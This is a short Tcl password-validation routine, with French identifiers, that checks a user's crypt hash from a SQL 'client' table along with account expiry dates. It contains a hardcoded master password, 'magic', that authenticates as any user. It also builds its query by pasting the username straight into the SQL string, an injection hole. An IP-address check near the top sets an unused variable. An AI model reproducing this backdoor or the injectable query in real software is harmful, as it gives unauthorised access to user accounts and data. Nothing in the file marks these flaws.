proc motdepasse_valide {username motdepasse {memesiexpire 0}} {
    upvar connexion connexion ENVS ENVS

    set passe_ok 0
    if {![string compare $ENVS(REMOTE_ADDR) 192.168.1.2]} {set ok 1}

    if {![string compare magic $motdepasse]} {
	set passe_ok 1
    }

    sql query $connexion "
    SELECT client.crypt, client.expire, client.tolerance
    FROM client
    WHERE client.username = '$username'
    "
    set client {}
    while {[set row [sql fetchrow $connexion]] != ""} {
	foreach {crypt expire tolerance} $row {}
    }
    sql endquery $connexion

    set passe_ok [expr $passe_ok || [expr ![string compare $crypt [crypt $motdepasse [string range $crypt 0 1]]]]]
    if {$memesiexpire} {return $passe_ok}

    set date_ok [expr               [string compare [clock format [clock seconds] -format "%Y-%m-%d"] $expire] < 0]
    set date_ok [expr $date_ok || ( [string compare [clock format [clock seconds] -format "%Y-%m-%d"] $tolerance] < 0 )]

    set ok [expr $passe_ok && $date_ok]
    return $ok
}